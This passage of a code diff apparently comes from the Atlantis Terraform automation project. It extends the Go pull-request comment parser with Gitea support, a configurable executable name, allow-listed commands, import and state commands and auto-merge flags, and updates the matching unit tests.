we're @@ -126,13 +179,15 @@ func (e *CommentParser) Parse(comment string, vcsHost models.VCSHostType) Commen vcsUser = e.GithubUser case models.Gitlab: vcsUser = e.GitlabUser + case models.Gitea: + vcsUser = e.GiteaUser case models.BitbucketCloud, models.BitbucketServer: vcsUser = e.BitbucketUser case models.AzureDevops: vcsUser = e.AzureDevopsUser } - executableNames := []string{"run", atlantisExecutable, "@" + vcsUser} - if !e.stringInSlice(args[0], executableNames) { + executableNames := []string{"run", e.ExecutableName, "@" + vcsUser} + if !e.stringInSlice(executableName, executableNames) { return CommentParseResult{Ignore: true} } @@ -149,92 +204,113 @@ func (e *CommentParser) Parse(comment string, vcsHost models.VCSHostType) Commen // If they've just typed the name of the executable then give them the help // output. if len(args) == 1 { - return CommentParseResult{CommentResponse: e.HelpComment(e.ApplyDisabled)} + return CommentParseResult{CommentResponse: e.HelpComment()} } - command := args[1] + + // Lowercase it to avoid autocorrect issues with browsers. + cmd := strings.ToLower(args[1]) // Help output. - if e.stringInSlice(command, []string{"help", "-h", "--help"}) { - return CommentParseResult{CommentResponse: e.HelpComment(e.ApplyDisabled)} + if e.stringInSlice(cmd, []string{"help", "-h", "--help"}) { + return CommentParseResult{CommentResponse: e.HelpComment()} } - // Need to have a plan, apply or unlock at this point. - if !e.stringInSlice(command, []string{models.PlanCommand.String(), models.ApplyCommand.String(), models.UnlockCommand.String()}) { - return CommentParseResult{CommentResponse: fmt.Sprintf("```\nError: unknown command %q.\nRun 'atlantis --help' for usage.\n```", command)} + // Need to have allow commands at this point. + if !e.isAllowedCommand(cmd) { + var allowCommandList []string + for _, allowCommand := range e.AllowCommands { + allowCommandList = append(allowCommandList, allowCommand.String()) + } + return CommentParseResult{CommentResponse: fmt.Sprintf("```\nError: unknown command %q.\nRun '%s --help' for usage.\nAvailable commands(--allow-commands): %s\n```", cmd, e.ExecutableName, strings.Join(allowCommandList, ", "))} } var workspace string var dir string var project string + var policySet string + var clearPolicyApproval bool var verbose bool + var autoMergeDisabled bool + var autoMergeMethod string var flagSet *pflag.FlagSet - var name models.CommandName + var name command.Name // Set up the flag parsing depending on the command. - switch command { - case models.PlanCommand.String(): - name = models.PlanCommand - flagSet = pflag.NewFlagSet(models.PlanCommand.String(), pflag.ContinueOnError) - flagSet.SetOutput(ioutil.Discard) + switch cmd { + case command.Plan.String(): + name = command.Plan + flagSet = pflag.NewFlagSet(command.Plan.String(), pflag.ContinueOnError) + flagSet.SetOutput(io.Discard) flagSet.StringVarP(&workspace, workspaceFlagLong, workspaceFlagShort, "", "Switch to this Terraform workspace before planning.") flagSet.StringVarP(&dir, dirFlagLong, dirFlagShort, "", "Which directory to run plan in relative to root of repo, ex. 'child/dir'.") - flagSet.StringVarP(&project, projectFlagLong, projectFlagShort, "", fmt.Sprintf("Which project to run plan for. Refers to the name of the project configured in %s. Cannot be used at same time as workspace or dir flags.", yaml.AtlantisYAMLFilename)) + flagSet.StringVarP(&project, projectFlagLong, projectFlagShort, "", "Which project to run plan for. Refers to the name of the project configured in a repo config file. Cannot be used at same time as workspace or dir flags.") flagSet.BoolVarP(&verbose, verboseFlagLong, verboseFlagShort, false, "Append Atlantis log to comment.") - case models.ApplyCommand.String(): - name = models.ApplyCommand - flagSet = pflag.NewFlagSet(models.ApplyCommand.String(), pflag.ContinueOnError) - flagSet.SetOutput(ioutil.Discard) + case command.Apply.String(): + name = command.Apply + flagSet = pflag.NewFlagSet(command.Apply.String(), pflag.ContinueOnError) + flagSet.SetOutput(io.Discard) flagSet.StringVarP(&workspace, workspaceFlagLong, workspaceFlagShort, "", "Apply the plan for this Terraform workspace.") flagSet.StringVarP(&dir, dirFlagLong, dirFlagShort, "", "Apply the plan for this directory, relative to root of repo, ex. 'child/dir'.") - flagSet.StringVarP(&project, projectFlagLong, projectFlagShort, "", fmt.Sprintf("Apply the plan for this project. Refers to the name of the project configured in %s. Cannot be used at same time as workspace or dir flags.", yaml.AtlantisYAMLFilename)) + flagSet.StringVarP(&project, projectFlagLong, projectFlagShort, "", "Apply the plan for this project. Refers to the name of the project configured in a repo config file. Cannot be used at same time as workspace or dir flags.") + flagSet.BoolVarP(&autoMergeDisabled, autoMergeDisabledFlagLong, autoMergeDisabledFlagShort, false, "Disable automerge after apply.") + flagSet.StringVarP(&autoMergeMethod, autoMergeMethodFlagLong, autoMergeMethodFlagShort, "", "Specifies the merge method for the VCS if automerge is enabled. (Currently only implemented for GitHub)") + flagSet.BoolVarP(&verbose, verboseFlagLong, verboseFlagShort, false, "Append Atlantis log to comment.") + case command.ApprovePolicies.String(): + name = command.ApprovePolicies + flagSet = pflag.NewFlagSet(command.ApprovePolicies.String(), pflag.ContinueOnError) + flagSet.SetOutput(io.Discard) + flagSet.StringVarP(&workspace, workspaceFlagLong, workspaceFlagShort, "", "Approve policies for this Terraform workspace.") + flagSet.StringVarP(&dir, dirFlagLong, dirFlagShort, "", "Approve policies for this directory, relative to root of repo, ex. 'child/dir'.") + flagSet.StringVarP(&project, projectFlagLong, projectFlagShort, "", "Approve policies for this project. Refers to the name of the project configured in a repo config file. Cannot be used at same time as workspace or dir flags.") + flagSet.StringVarP(&policySet, policySetFlagLong, policySetFlagShort, "", "Approve policies for this project. Refers to the name of the project configured in a repo config file. Cannot be used at same time as workspace or dir flags.") + flagSet.BoolVarP(&clearPolicyApproval, clearPolicyApprovalFlagLong, clearPolicyApprovalFlagShort, false, "Clear any existing policy approvals.") + flagSet.BoolVarP(&verbose, verboseFlagLong, verboseFlagShort, false, "Append Atlantis log to comment.") + case command.Unlock.String(): + name = command.Unlock + flagSet = pflag.NewFlagSet(command.Unlock.String(), pflag.ContinueOnError) + flagSet.SetOutput(io.Discard) + case command.Version.String(): + name = command.Version + flagSet = pflag.NewFlagSet(command.Version.String(), pflag.ContinueOnError) + flagSet.StringVarP(&workspace, workspaceFlagLong, workspaceFlagShort, "", "Switch to this Terraform workspace before running version.") + flagSet.StringVarP(&dir, dirFlagLong, dirFlagShort, "", "Which directory to run version in relative to root of repo, ex. 'child/dir'.") + flagSet.StringVarP(&project, projectFlagLong, projectFlagShort, "", "Print the version for this project. Refers to the name of the project configured in a repo config file.") + flagSet.BoolVarP(&verbose, verboseFlagLong, verboseFlagShort, false, "Append Atlantis log to comment.") + case command.Import.String(): + name = command.Import + flagSet = pflag.NewFlagSet(command.Import.String(), pflag.ContinueOnError) + flagSet.SetOutput(io.Discard) + flagSet.StringVarP(&workspace, workspaceFlagLong, workspaceFlagShort, "", "Switch to this Terraform workspace before importing.") + flagSet.StringVarP(&dir, dirFlagLong, dirFlagShort, "", "Which directory to run import in relative to root of repo, ex. 'child/dir'.") + flagSet.StringVarP(&project, projectFlagLong, projectFlagShort, "", "Which project to run import for. Refers to the name of the project configured in a repo config file. Cannot be used at same time as workspace or dir flags.") + flagSet.BoolVarP(&verbose, verboseFlagLong, verboseFlagShort, false, "Append Atlantis log to comment.") + case command.State.String(): + name = command.State + flagSet = pflag.NewFlagSet(command.State.String(), pflag.ContinueOnError) + flagSet.SetOutput(io.Discard) + flagSet.StringVarP(&workspace, workspaceFlagLong, workspaceFlagShort, "", "Switch to this Terraform workspace before processing tfstate.") + flagSet.StringVarP(&dir, dirFlagLong, dirFlagShort, "", "Which directory to run state command in relative to root of repo, ex. 'child/dir'.") + flagSet.StringVarP(&project, projectFlagLong, projectFlagShort, "", "Which project to run state command for. Refers to the name of the project configured in a repo config file. Cannot be used at same time as workspace or dir flags.") flagSet.BoolVarP(&verbose, verboseFlagLong, verboseFlagShort, false, "Append Atlantis log to comment.") - case models.UnlockCommand.String(): - name = models.UnlockCommand - flagSet = pflag.NewFlagSet(models.UnlockCommand.String(), pflag.ContinueOnError) - flagSet.SetOutput(ioutil.Discard) - default: - return CommentParseResult{CommentResponse: fmt.Sprintf("Error: unknown command %q – this is a bug", command)} - } - - // Now parse the flags. - // It's safe to use [2:] because we know there's at least 2 elements in args. - err = flagSet.Parse(args[2:]) - if err == pflag.ErrHelp { - return CommentParseResult{CommentResponse: fmt.Sprintf("```\nUsage of %s:\n%s\n```", command, flagSet.FlagUsagesWrapped(usagesCols))} - } - if err != nil { - if command == models.UnlockCommand.String() { - return CommentParseResult{CommentResponse: UnlockUsage} - } - return CommentParseResult{CommentResponse: e.errMarkdown(err.Error(), command, flagSet)} - } - - var unusedArgs []string - if flagSet.ArgsLenAtDash() == -1 { - unusedArgs = flagSet.Args() - } else { - unusedArgs = flagSet.Args()[0:flagSet.ArgsLenAtDash()] - } - if len(unusedArgs) > 0 { - return CommentParseResult{CommentResponse: e.errMarkdown(fmt.Sprintf("unknown argument(s) – %s", strings.Join(unusedArgs, " ")), command, flagSet)} + return CommentParseResult{CommentResponse: fmt.Sprintf("Error: unknown command %q – this is a bug", cmd)} } - var extraArgs []string - if flagSet.ArgsLenAtDash() != -1 { - extraArgs = flagSet.Args()[flagSet.ArgsLenAtDash():] + subName, extraArgs, errResult := e.parseArgs(name, args, flagSet) + if errResult != "" { + return CommentParseResult{CommentResponse: errResult} } dir, err = e.validateDir(dir) if err != nil { - return CommentParseResult{CommentResponse: e.errMarkdown(err.Error(), command, flagSet)} + return CommentParseResult{CommentResponse: e.errMarkdown(err.Error(), cmd, flagSet)} } // Use the same validation that Terraform uses: https://git.io/vxGhU. Plus // we also don't allow '..'. We don't want the workspace to contain a path // since we create files based on the name. if workspace != url.PathEscape(workspace) || strings.Contains(workspace, "..") { - return CommentParseResult{CommentResponse: e.errMarkdown(fmt.Sprintf("invalid workspace: %q", workspace), command, flagSet)} + return CommentParseResult{CommentResponse: e.errMarkdown(fmt.Sprintf("invalid workspace: %q", workspace), cmd, flagSet)} } // If project is specified, dir or workspace should not be set. Since we @@ -244,17 +320,92 @@ func (e *CommentParser) Parse(comment string, vcsHost models.VCSHostType) Commen // an error. if project != "" && (workspace != "" || dir != "") { err := fmt.Sprintf("cannot use -%s/--%s at same time as -%s/--%s or -%s/--%s", projectFlagShort, projectFlagLong, dirFlagShort, dirFlagLong, workspaceFlagShort, workspaceFlagLong) - return CommentParseResult{CommentResponse: e.errMarkdown(err, command, flagSet)} + return CommentParseResult{CommentResponse: e.errMarkdown(err, cmd, flagSet)} + } + + if autoMergeMethod != "" { + if autoMergeDisabled { + err := fmt.Sprintf("cannot use --%s at the same time as --%s", autoMergeMethodFlagLong, autoMergeDisabledFlagLong) + return CommentParseResult{CommentResponse: e.errMarkdown(err, cmd, flagSet)} + } + + if vcsHost != models.Github { + err := fmt.Sprintf("--%s is not currently implemented for %s", autoMergeMethodFlagLong, vcsHost.String()) + return CommentParseResult{CommentResponse: e.errMarkdown(err, cmd, flagSet)} + } } return CommentParseResult{ - Command: NewCommentCommand(dir, extraArgs, name, verbose, workspace, project), + Command: NewCommentCommand(dir, extraArgs, name, subName, verbose, autoMergeDisabled, autoMergeMethod, workspace, project, policySet, clearPolicyApproval), + } +} + +func (e *CommentParser) parseArgs(name command.Name, args []string, flagSet *pflag.FlagSet) (string, []string, string) { + // Now parse the flags. + // It's safe to use [2:] because we know there's at least 2 elements in args. + err := flagSet.Parse(args[2:]) + if err == pflag.ErrHelp { + return "", nil, fmt.Sprintf("```\nUsage of %s:\n%s\n```", name.DefaultUsage(), flagSet.FlagUsagesWrapped(usagesCols)) + } + if err != nil { + if name == command.Unlock { + return "", nil, fmt.Sprintf(UnlockUsage, e.ExecutableName) + } + return "", nil, e.errMarkdown(err.Error(), name.String(), flagSet) + } + + var commandArgs []string // commandArgs are the arguments that are passed before `--` without any parameter flags. + if flagSet.ArgsLenAtDash() == -1 { + commandArgs = flagSet.Args() + } else { + commandArgs = flagSet.Args()[0:flagSet.ArgsLenAtDash()] + } + + // If command require subcommand, get it from command args + var subCommand string + availableSubCommands := name.SubCommands() + if len(availableSubCommands) > 0 { // command requires a subcommand + if len(commandArgs) < 1 { + return "", nil, e.errMarkdown("subcommand required", name.String(), flagSet) + } + subCommand, commandArgs = commandArgs[0], commandArgs[1:] + isAvailableSubCommand := utils.SlicesContains(availableSubCommands, subCommand) + if !isAvailableSubCommand { + errMsg := fmt.Sprintf("invalid subcommand %s (not %s)", subCommand, strings.Join(availableSubCommands, ", ")) + return "", nil, e.errMarkdown(errMsg, name.String(), flagSet) + } + } + + // check command args count requirements + commandArgCount, err := name.CommandArgCount(subCommand) + if err != nil { + return "", nil, e.errMarkdown(err.Error(), name.String(), flagSet) + } + if !commandArgCount.IsMatchCount(len(commandArgs)) { + return "", nil, e.errMarkdown(fmt.Sprintf("unknown argument(s) – %s", strings.Join(commandArgs, " ")), name.DefaultUsage(), flagSet) + } + + var extraArgs []string // command extra_args + if flagSet.ArgsLenAtDash() != -1 { + extraArgs = append(extraArgs, flagSet.Args()[flagSet.ArgsLenAtDash():]...) } + + // pass commandArgs into extraArgs after extra args. + // - after comment_parser, we will use extra_args only. + // - terraform command args accept after options like followings + // - e.g. + // - from: `atlantis import ADDRESS ID -- -var foo=bar + // - to: `terraform import -var foo=bar ADDRESS ID` + // - e.g. + // - from: `atlantis state rm ADDRESS1 ADDRESS2 -- -var foo=bar + // - to: `terraform state rm -var foo=bar ADDRESS1 ADDRESS2` (subcommand=rm) + extraArgs = append(extraArgs, commandArgs...) + return subCommand, extraArgs, "" } // BuildPlanComment builds a plan comment for the specified args. func (e *CommentParser) BuildPlanComment(repoRelDir string, workspace string, project string, commentArgs []string) string { - flags := e.buildFlags(repoRelDir, workspace, project) + flags := e.buildFlags(repoRelDir, workspace, project, false, "") commentFlags := "" if len(commentArgs) > 0 { var flagsWithoutQuotes []string @@ -265,40 +416,53 @@ func (e *CommentParser) BuildPlanComment(repoRelDir string, workspace string, pr } commentFlags = fmt.Sprintf(" -- %s", strings.Join(flagsWithoutQuotes, " ")) } - return fmt.Sprintf("%s %s%s%s", atlantisExecutable, models.PlanCommand.String(), flags, commentFlags) + return fmt.Sprintf("%s %s%s%s", e.ExecutableName, command.Plan.String(), flags, commentFlags) } // BuildApplyComment builds an apply comment for the specified args. -func (e *CommentParser) BuildApplyComment(repoRelDir string, workspace string, project string) string { - flags := e.buildFlags(repoRelDir, workspace, project) - return fmt.Sprintf("%s %s%s", atlantisExecutable, models.ApplyCommand.String(), flags) +func (e *CommentParser) BuildApplyComment(repoRelDir string, workspace string, project string, autoMergeDisabled bool, autoMergeMethod string) string { + flags := e.buildFlags(repoRelDir, workspace, project, autoMergeDisabled, autoMergeMethod) + return fmt.Sprintf("%s %s%s", e.ExecutableName, command.Apply.String(), flags) +} + +// BuildApprovePoliciesComment builds an apply comment for the specified args. +func (e *CommentParser) BuildApprovePoliciesComment(repoRelDir string, workspace string, project string) string { + flags := e.buildFlags(repoRelDir, workspace, project, false, "") + return fmt.Sprintf("%s %s%s", e.ExecutableName, command.ApprovePolicies.String(), flags) } -func (e *CommentParser) buildFlags(repoRelDir string, workspace string, project string) string { +func (e *CommentParser) buildFlags(repoRelDir string, workspace string, project string, autoMergeDisabled bool, autoMergeMethod string) string { // Add quotes if dir has spaces. if strings.Contains(repoRelDir, " ") { repoRelDir = fmt.Sprintf("%q", repoRelDir) } + var flags string switch { // If project is specified we can just use its name. case project != "": - return fmt.Sprintf(" -%s %s", projectFlagShort, project) + flags = fmt.Sprintf(" -%s %s", projectFlagShort, project) case repoRelDir == DefaultRepoRelDir && workspace == DefaultWorkspace: // If it's the root and default workspace then we just need to specify one // of the flags and the other will get defaulted. - return fmt.Sprintf(" -%s %s", dirFlagShort, DefaultRepoRelDir) + flags = fmt.Sprintf(" -%s %s", dirFlagShort, DefaultRepoRelDir) case repoRelDir == DefaultRepoRelDir: // If dir is the default then we just need to specify workspace. - return fmt.Sprintf(" -%s %s", workspaceFlagShort, workspace) + flags = fmt.Sprintf(" -%s %s", workspaceFlagShort, workspace) case workspace == DefaultWorkspace: // If workspace is the default then we just need to specify the dir. - - return fmt.Sprintf(" -%s %s", dirFlagShort, repoRelDir) + flags = fmt.Sprintf(" -%s %s", dirFlagShort, repoRelDir) default: // Otherwise we have to specify both flags. - return fmt.Sprintf(" -%s %s -%s %s", dirFlagShort, repoRelDir, workspaceFlagShort, workspace) + flags = fmt.Sprintf(" -%s %s -%s %s", dirFlagShort, repoRelDir, workspaceFlagShort, workspace) + } + if autoMergeDisabled { + flags = fmt.Sprintf("%s --%s", flags, autoMergeDisabledFlagLong) } + if autoMergeMethod != "" { + flags = fmt.Sprintf("%s --%s %s", flags, autoMergeMethodFlagLong, autoMergeMethod) + } + return flags } func (e *CommentParser) validateDir(dir string) (string, error) { @@ -328,22 +492,44 @@ func (e *CommentParser) stringInSlice(a string, list []string) bool { return false } -func (e *CommentParser) errMarkdown(errMsg string, command string, flagSet *pflag.FlagSet) string { - return fmt.Sprintf("```\nError: %s.\nUsage of %s:\n%s```", errMsg, command, flagSet.FlagUsagesWrapped(usagesCols)) +func (e *CommentParser) isAllowedCommand(cmd string) bool { + for _, allowed := range e.AllowCommands { + if allowed.String() == cmd { + return true + } + } + return false +} + +func (e *CommentParser) errMarkdown(errMsg string, cmd string, flagSet *pflag.FlagSet) string { + return fmt.Sprintf("```\nError: %s.\nUsage of %s:\n%s```", errMsg, cmd, flagSet.FlagUsagesWrapped(usagesCols)) } -func (e *CommentParser) HelpComment(applyDisabled bool) string { +func (e *CommentParser) HelpComment() string { buf := &bytes.Buffer{} var tmpl = template.Must(template.New("").Parse(helpCommentTemplate)) if err := tmpl.Execute(buf, struct { - ApplyDisabled bool + ExecutableName string + AllowVersion bool + AllowPlan bool + AllowApply bool + AllowUnlock bool + AllowApprovePolicies bool + AllowImport bool + AllowState bool }{ - ApplyDisabled: applyDisabled, + ExecutableName: e.ExecutableName, + AllowVersion: e.isAllowedCommand(command.Version.String()), + AllowPlan: e.isAllowedCommand(command.Plan.String()), + AllowApply: e.isAllowedCommand(command.Apply.String()), + AllowUnlock: e.isAllowedCommand(command.Unlock.String()), + AllowApprovePolicies: e.isAllowedCommand(command.ApprovePolicies.String()), + AllowImport: e.isAllowedCommand(command.Import.String()), + AllowState: e.isAllowedCommand(command.State.String()), }); err != nil { return fmt.Sprintf("Failed to render template, this is a bug: %v", err) } return buf.String() - } var helpCommentTemplate = "```cmake\n" + @@ -351,46 +537,72 @@ var helpCommentTemplate = "```cmake\n" + Terraform Pull Request Automation Usage: - atlantis [options] -- [terraform options] + {{ .ExecutableName }} [options] -- [terraform options] Examples: + # show atlantis help + {{ .ExecutableName }} help +{{- if .AllowPlan }} + # run plan in the root directory passing the -target flag to terraform - atlantis plan -d . -- -target=resource - {{- if not .ApplyDisabled }} + {{ .ExecutableName }} plan -d . -- -target=resource +{{- end }} +{{- if .AllowApply }} # apply all unapplied plans from this pull request - atlantis apply + {{ .ExecutableName }} apply # apply the plan for the root directory and staging workspace - atlantis apply -d . -w staging + {{ .ExecutableName }} apply -d . -w staging {{- end }} Commands: +{{- if .AllowPlan }} plan Runs 'terraform plan' for the changes in this pull request. To plan a specific project, use the -d, -w and -p flags. -{{- if not .ApplyDisabled }} +{{- end }} +{{- if .AllowApply }} apply Runs 'terraform apply' on all unapplied plans from this pull request. To only apply a specific plan, use the -d, -w and -p flags. {{- end }} +{{- if .AllowUnlock }} unlock Removes all atlantis locks and discards all plans for this PR. To unlock a specific plan you can use the Atlantis UI. +{{- end }} +{{- if .AllowApprovePolicies }} + approve_policies + Approves all current policy checking failures for the PR. +{{- end }} +{{- if .AllowVersion }} + version Print the output of 'terraform version' +{{- end }} +{{- if .AllowImport }} + import ADDRESS ID + Runs 'terraform import' for the passed address resource. + To import a specific project, use the -d, -w and -p flags. +{{- end }} +{{- if .AllowState }} + state rm ADDRESS... + Runs 'terraform state rm' for the passed address resource. + To remove a specific project resource, use the -d, -w and -p flags. +{{- end }} help View help. Flags: -h, --help help for atlantis -Use "atlantis [command] --help" for more information about a command.` + +Use "{{ .ExecutableName }} [command] --help" for more information about a command.` + "\n```" // DidYouMeanAtlantisComment is the comment we add to the pull request when -// someone runs a command with terraform instead of atlantis. -var DidYouMeanAtlantisComment = "Did you mean to use `atlantis` instead of `terraform`?" +// someone runs a misspelled command or terraform instead of atlantis. +var DidYouMeanAtlantisComment = "Did you mean to use `%s` instead of `%s`?" // UnlockUsage is the comment we add to the pull request when someone runs // `atlantis unlock` with flags. var UnlockUsage = "`Usage of unlock:`\n\n ```cmake\n" + - `atlantis unlock + `%s unlock Unlocks the entire PR and discards all plans in this PR. Arguments or flags are not supported at the moment. diff --git a/server/events/comment_parser_test.go b/server/events/comment_parser_test.go index 11b3878d0f..bf48469302 100644 --- a/server/events/comment_parser_test.go +++ b/server/events/comment_parser_test.go @@ -19,13 +19,60 @@ import ( "testing" "github.com/runatlantis/atlantis/server/events" + "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" . "github.com/runatlantis/atlantis/testing" + "github.com/stretchr/testify/assert" ) var commentParser = events.CommentParser{ - GithubUser: "github-user", - GitlabUser: "gitlab-user", + GithubUser: "github-user", + GitlabUser: "gitlab-user", + GiteaUser: "gitea-user", + ExecutableName: "atlantis", + AllowCommands: command.AllCommentCommands, +} + +func TestNewCommentParser(t *testing.T) { + type args struct { + githubUser string + gitlabUser string + giteaUser string + bitbucketUser string + azureDevopsUser string + executableName string + allowCommands []command.Name + } + tests := []struct { + name string + args args + want *events.CommentParser + }{ + { + name: "duplicate allow commands filtered", + args: args{ + allowCommands: []command.Name{command.Plan, command.Plan, command.Plan}, + }, + want: &events.CommentParser{ + AllowCommands: []command.Name{command.Plan}, + }, + }, + { + name: "comment un-available commands filtered", + args: args{ + // PolicyCheck and Autoplan cannot be used on comment command, so filtered + allowCommands: []command.Name{command.Plan, command.Apply, command.Unlock, command.PolicyCheck, command.ApprovePolicies, command.Autoplan, command.Version, command.Import}, + }, + want: &events.CommentParser{ + AllowCommands: []command.Name{command.Version, command.Plan, command.Apply, command.Unlock, command.ApprovePolicies, command.Import}, + }, + }, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + assert.Equalf(t, tt.want, events.NewCommentParser(tt.args.githubUser, tt.args.gitlabUser, tt.args.giteaUser, tt.args.bitbucketUser, tt.args.azureDevopsUser, tt.args.executableName, tt.args.allowCommands), "NewCommentParser(%v, %v, %v, %v, %v, %v)", tt.args.githubUser, tt.args.gitlabUser, tt.args.bitbucketUser, tt.args.azureDevopsUser, tt.args.executableName, tt.args.allowCommands) + }) + } } func TestParse_Ignored(t *testing.T) { @@ -43,7 +90,35 @@ func TestParse_Ignored(t *testing.T) { } } +func TestParse_ExecutableName(t *testing.T) { + cases := []struct { + user string + expIgnore bool + }{ + {"custom-executable-name", false}, + {"run", false}, + {"@github-user", false}, + {"github-user", true}, + {"atlantis", true}, + } + for _, c := range cases { + t.Run(c.user, func(t *testing.T) { + var commentParser = events.CommentParser{ + GithubUser: "github-user", + ExecutableName: "custom-executable-name", + } + comment := fmt.Sprintf("%s help", c.user) + r := commentParser.Parse(comment, models.Github) + Assert(t, r.Ignore == c.expIgnore, "expected Ignore %q, but got %q", c.expIgnore, r.Ignore) + }) + } +} + func TestParse_HelpResponse(t *testing.T) { + allowCommandsCases := [][]command.Name{ + command.AllCommentCommands, + {}, // empty case + } helpComments := []string{ "run", "atlantis", @@ -54,90 +129,130 @@ func TestParse_HelpResponse(t *testing.T) { "atlantis help something else", "atlantis help plan", } - for _, c := range helpComments { - r := commentParser.Parse(c, models.Github) - Equals(t, commentParser.HelpComment(false), r.CommentResponse) + for _, allowCommandCase := range allowCommandsCases { + for _, c := range helpComments { + t.Run(fmt.Sprintf("%s with allow commands %v", c, allowCommandCase), func(t *testing.T) { + commentParser := events.CommentParser{ + GithubUser: "github-user", + ExecutableName: "atlantis", + AllowCommands: allowCommandCase, + } + r := commentParser.Parse(c, models.Github) + Equals(t, commentParser.HelpComment(), r.CommentResponse) + }) + } } } -func TestParse_HelpResponseWithApplyDisabled(t *testing.T) { +func TestParse_TrimCommandString(t *testing.T) { + t.Log("commands should be trimmed of whitespace and backtick (helps with Gitlab copy/paste issues)") + allowCommandsCases := [][]command.Name{ + command.AllCommentCommands, + {}, // empty case + } helpComments := []string{ - "run", - "atlantis", - "@github-user", - "atlantis help", - "atlantis --help", - "atlantis -h", - "atlantis help something else", - "atlantis help plan", + "`atlantis help`", + "` atlantis help `", + "`atlantis help` ", + " `atlantis help", } - for _, c := range helpComments { - commentParser.ApplyDisabled = true - r := commentParser.Parse(c, models.Github) - Equals(t, commentParser.HelpComment(true), r.CommentResponse) + for _, allowCommandCase := range allowCommandsCases { + for _, c := range helpComments { + t.Run(fmt.Sprintf("%s with allow commands %v", c, allowCommandCase), func(t *testing.T) { + commentParser := events.CommentParser{ + GithubUser: "github-user", + ExecutableName: "atlantis", + AllowCommands: allowCommandCase, + } + r := commentParser.Parse(c, models.Github) + Equals(t, commentParser.HelpComment(), r.CommentResponse) + }) + } } } func TestParse_UnusedArguments(t *testing.T) { t.Log("if there are unused flags we return an error") cases := []struct { - Command models.CommandName + Command command.Name Args string Unused string }{ { - models.PlanCommand, + command.Plan, "-d . arg", "arg", }, { - models.PlanCommand, + command.Plan, "arg -d .", "arg", }, { - models.PlanCommand, + command.Plan, "arg", "arg", }, { - models.PlanCommand, + command.Plan, "arg arg2", "arg arg2", }, { - models.PlanCommand, + command.Plan, "-d . arg -w kjj arg2", "arg arg2", }, { - models.ApplyCommand, + command.Apply, "-d . arg", "arg", }, { - models.ApplyCommand, + command.Apply, "arg arg2", "arg arg2", }, { - models.ApplyCommand, + command.Apply, "arg arg2 -- useful", "arg arg2", }, { - models.ApplyCommand, + command.Apply, "arg arg2 --", "arg arg2", }, + { + command.ApprovePolicies, + "arg arg2 arg3 --", + "arg arg2 arg3", + }, + { + command.Import, + "arg --", + "arg", + }, + { + command.Import, + "arg1 arg2 arg3 --", + "arg1 arg2 arg3", + }, } for _, c := range cases { comment := fmt.Sprintf("atlantis %s %s", c.Command.String(), c.Args) t.Run(comment, func(t *testing.T) { r := commentParser.Parse(comment, models.Github) - usage := PlanUsage - if c.Command == models.ApplyCommand { + var usage string + switch c.Command { + case command.Plan: + usage = PlanUsage + case command.Apply: usage = ApplyUsage + case command.ApprovePolicies: + usage = ApprovePolicyUsage + case command.Import: + usage = ImportUsage } Equals(t, fmt.Sprintf("```\nError: unknown argument(s) – %s.\n%s```", c.Unused, usage), r.CommentResponse) }) @@ -165,7 +280,7 @@ func TestParse_DidYouMeanAtlantis(t *testing.T) { } for _, c := range comments { r := commentParser.Parse(c, models.Github) - Assert(t, r.CommentResponse == events.DidYouMeanAtlantisComment, + Assert(t, r.CommentResponse == fmt.Sprintf(events.DidYouMeanAtlantisComment, "atlantis", "terraform"), "For comment %q expected CommentResponse==%q but got %q", c, events.DidYouMeanAtlantisComment, r.CommentResponse) } } @@ -175,29 +290,51 @@ func TestParse_InvalidCommand(t *testing.T) { "a warning.") comments := []string{ "atlantis paln", - "atlantis Plan", "atlantis appely apply", } + cp := events.NewCommentParser( + "github-user", + "gitlab-user", + "gitea-user", + "bitbucket-user", + "azure-devops-user", + "atlantis", + []command.Name{ + command.Version, + command.Unlock, + command.Apply, + command.Plan, + command.Apply, // duplicate command is filtered + }, + ) for _, c := range comments { - r := commentParser.Parse(c, models.Github) - exp := fmt.Sprintf("```\nError: unknown command %q.\nRun 'atlantis --help' for usage.\n```", strings.Fields(c)[1]) - Assert(t, r.CommentResponse == exp, - "For comment %q expected CommentResponse==%q but got %q", c, exp, r.CommentResponse) + r := cp.Parse(c, models.Github) + exp := fmt.Sprintf("```\nError: unknown command %q.\nRun 'atlantis --help' for usage.\nAvailable commands(--allow-commands): version, plan, apply, unlock\n```", strings.Fields(c)[1]) + Equals(t, exp, r.CommentResponse) } } func TestParse_SubcommandUsage(t *testing.T) { t.Log("given a comment asking for the usage of a subcommand should " + "return help") - comments := []string{ - "atlantis plan -h", - "atlantis plan --help", - "atlantis apply -h", - "atlantis apply --help", + tests := []struct { + input string + expUsage string + }{ + {"atlantis plan -h", "plan"}, + {"atlantis plan --help", "plan"}, + {"atlantis apply -h", "apply"}, + {"atlantis apply --help", "apply"}, + {"atlantis approve_policies -h", "approve_policies"}, + {"atlantis approve_policies --help", "approve_policies"}, + {"atlantis import -h", "import ADDRESS ID"}, + {"atlantis import --help", "import ADDRESS ID"}, + {"atlantis state -h", "state [rm ADDRESS...]"}, + {"atlantis state --help", "state [rm ADDRESS...]"}, } - for _, c := range comments { - r := commentParser.Parse(c, models.Github) - exp := "Usage of " + strings.Fields(c)[1] + for _, c := range tests { + r := commentParser.Parse(c.input, models.Github) + exp := "Usage of " + c.expUsage Assert(t, strings.Contains(r.CommentResponse, exp), "For comment %q expected CommentResponse %q to contain %q", c, r.CommentResponse, exp) Assert(t, !strings.Contains(r.CommentResponse, "Error:"), @@ -228,6 +365,14 @@ func TestParse_InvalidFlags(t *testing.T) { "atlantis apply --abc", "Error: unknown flag: --abc", }, + { + "atlantis import --abc", + "Error: unknown flag: --abc", + }, + { + "atlantis state rm --abc", + "Error: unknown flag: --abc", + }, } for _, c := range cases { r := commentParser.Parse(c.comment, models.Github) @@ -243,13 +388,21 @@ func TestParse_RelativeDirPath(t *testing.T) { comments := []string{ "atlantis plan -d ..", "atlantis apply -d ..", + "atlantis import -d .. address id", + "atlantis state -d .. rm address", // These won't return an error because we prepend with . when parsing. //"atlantis plan -d /..", //"atlantis apply -d /..", + //"atlantis import -d /.. address id", + //"atlantis state rm -d /.. address", "atlantis plan -d ./..", "atlantis apply -d ./..", + "atlantis import -d ./.. address id", + "atlantis state -d ./.. rm address", "atlantis plan -d a/b/../../..", "atlantis apply -d a/../..", + "atlantis import -d a/../.. address id", + "atlantis state -d a/../.. rm address id", } for _, c := range comments { r := commentParser.Parse(c, models.Github) @@ -259,14 +412,20 @@ func 